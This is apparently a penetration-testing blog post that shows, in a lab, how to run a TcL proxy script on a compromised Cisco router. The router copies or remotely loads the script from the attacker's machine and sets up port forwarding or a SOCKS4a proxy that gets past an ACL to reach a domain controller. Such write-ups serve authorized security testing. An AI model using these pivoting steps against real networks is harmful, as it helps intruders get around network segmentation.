April 06, 2023

Cisco Hackery: TcL Proxy

Written by Michael Bond

Business Risk Assessment Endpoint Hygiene Automation Hardware Security Assessment Penetration Testing Security Testing & Analysis

Since moving to an offensive security role, I have always wanted to use SSH port forwarding through a Cisco router during a Penetration Test. However, the SSH implementation on a Cisco device does not provide the ability to customize the sshd_config file permitting port forwarding. Although there is the possibility of leveraging network address translation (NAT) within Cisco IOS, this may not be a desired solution during an engagement due to making configuration changes.

Use Case

Why would I want to do this? There are multiple use cases for wanting to port forward through a Cisco router. One example would be during a PCI Penetration Test, when defensive measures are tested to validate that secured networks are not accessible to unauthorized users or devices.

During previous penetration tests, I have been able to gain a foothold on Cisco devices but have not successfully pivoted to the secured network without making changes to IOS. (See my previous blog post for different methods of gaining a foothold.) Depending on the overall network configuration, as well as the configuration of the compromised Cisco router, there may be an opportunity to bypass security measures if port forwarding is available.

Solution

While researching another topic, I stumbled across a Tool Command Language (TcL) Script created by Arseniy Sharoglazov. This script can be uploaded to a Cisco flash file system and executed or remotely executed to create a port forward or a dynamic SOCKS4a proxy server on a Cisco router.

Cisco TcL (aka Tickle) has been available since IOS 12.3(2)T. One of the main functions of TcL is to provide administrators the ability to automate tasks. In addition, TcL scripts have been leveraged for Call Manager Express Basic Automatic Call Distribution (B-ACD) and Auto-Attendant Service interactive voice response (IVR) functionality on Cisco IOS.

Demo

Environment

Within my lab environment, I set up a Windows Server as a domain controller (DC) within the secured network environment. I then set up two virtual routers, with Cisco IOS XE Version 17.03.03, to segment the network and to simulate a wide-area network (WAN) environment. I also utilized a MacBook Pro (MBP) as the attacking device in a simulated user network.

On the Secured Network Router (CSR-02), I added an outbound access control list (ACL) to the LAN interface blocking all traffic except for traffic coming from the WAN network.

Testing

During testing, I used two different methods to execute the TcL script. The first method was to use a console connection to upload the script to the flash file system of the User Network Router (CSR-01) and then execute the script. The second method was to use secure copy protocol (SCP) to execute the script remotely from the attacker's MBP on CSR-01. Keep in mind that a global configuration change is required to execute the TcL script remotely.

If there are concerns about potentially exposing the attacker's MBP file system using SCP, trivial file transfer protocol (TFTP) or FTP can be used as an alternative.

Method 1 - Port Forward

Utilizing the first method, I copied the TcL script to CSR-01's flash file system from the MBP.

Router# copy scp://<username>@<host_ip>//<directory>/tclproxy.tcl flash://

Once the TcL script was uploaded, I executed the TcL script to listen on TCP Port 445 on the LAN interface of CSR-01. In addition, I configured the TcL script to redirect requests to the DC IP address and TCP Port 445 located in the secured network.

Router# tclsh tclproxy.tcl -L <local_router>:<local_port>:<remote_host>:<remote_port>

With port forwarding initialized on CSR-01, I used CrackMapExec to test direct connectivity to the DC on TCP Port 445. The ACL prevented the connection to the DC's IP address. However, using the configured port forward on CSR-01, I was able to successfully connect to the DC.

Figure 7: CSR-01 TcL Forwarding Request to DC

To stop the TcL script, I pressed CTL+6 within the CSR-01 console. A new packet must be sent to the local port forward address to fully terminate the script. So, I executed CrackMapExec to connect to the CSR-01 port forward and successfully terminated the script.

Method 2 - Proxy Server

Prior to using the second method, I launched a browser and tried to access the DC's default web page in the secured network. However, the ACL on CSR-02 blocked this attempt.

Next, I modified the CSR-01 configuration to connect to the Attacker's MBP to remotely execute the TcL script.

Router# config t

Router(config)# scripting tcl init scp://<host_ip>//<scp_directory>/tclproxy.tcl

Router(config)# exit

Figure 10: CSR-01 Remote TcL Script Configuration

I then executed the TcL script from the CSR-01 console as a SOCKS4a proxy. The prompt password was for the SCP connection to the MBP.

Router# tclsh tclproxy.tcl -D <local_router>:<local_port>

Figure 11: CSR-01 SOCKS4 Proxy Server Execution

At this point, I opened my browser and created a new FoxyProxy SOCKS4 entry pointing to the CSR-01 IP address using TCP Port 9050.

With FoxyProxy enabled within the browser, I successfully connected to one of the DC's web pages.

Figure 13: Proxy Connection to Secure DC

Conclusion

Although the TcL proxy script can provide an additional attack surface, caution should be used to prevent disruption of a production network environment. In addition, it becomes increasingly difficult to fully terminate the TcL script if a console session has disconnected—this may require a full reboot of the router. Therefore, the virtual terminal (VTY) port configuration should be reviewed to determine the session timeout prior to executing the TcL script.

While security controls are in place to ensure Cisco IOS TcL scripts are signed prior to execution, a device that is fully compromised can be reconfigured to bypass those controls.